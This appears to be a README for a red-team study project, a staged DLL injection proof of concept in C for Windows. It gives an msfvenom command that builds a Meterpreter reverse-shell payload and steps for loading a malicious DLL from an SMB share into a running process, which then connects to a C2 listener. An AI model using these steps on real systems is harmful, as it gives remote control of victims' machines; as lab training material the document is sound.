Staged DLL injection proof-of-concept built in C using Win32 APIs — developed in an isolated lab environment for red team certification study (CRTO).
Staged DLL injection proof-of-concept built in C using Win32 APIs — developed in an isolated lab environment for red team certification study (CRTO).
⚠️ Disclaimer: This project was developed strictly in an isolated lab environment for educational purposes as part of offensive security research and certification study (CRTO). It is not intended for use against any systems without explicit written authorization. Unauthorized use is illegal and unethical.
A proof-of-concept implementation of staged DLL injection on Windows, built as part of red team certification studies. This project demonstrates how a stager can remotely load a malicious DLL into a target process using native Win32 APIs. Works best in an AD Environment that allows SMB traffic within the internal network, not recommended to work over internet
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcessVirtualAllocLoadLibraryW from Kernel32CreateRemoteThread that calls LoadLibraryW, loading the DLL from a remote SMB sharemaindll.dll)DllMain fires automatically on DLL_PROCESS_ATTACHVirtualAllocCreateThreadphc.exe → Opens target process → Allocates memory in target process → Loads maindll.dll from SMB share via LoadLibraryW → DllMain fires → Shellcode executed inside target process
CreateRemoteThread + LoadLibraryWDllMainTested on Windows 10 in an isolated lab environment. C2 listener hosted on Kali Linux.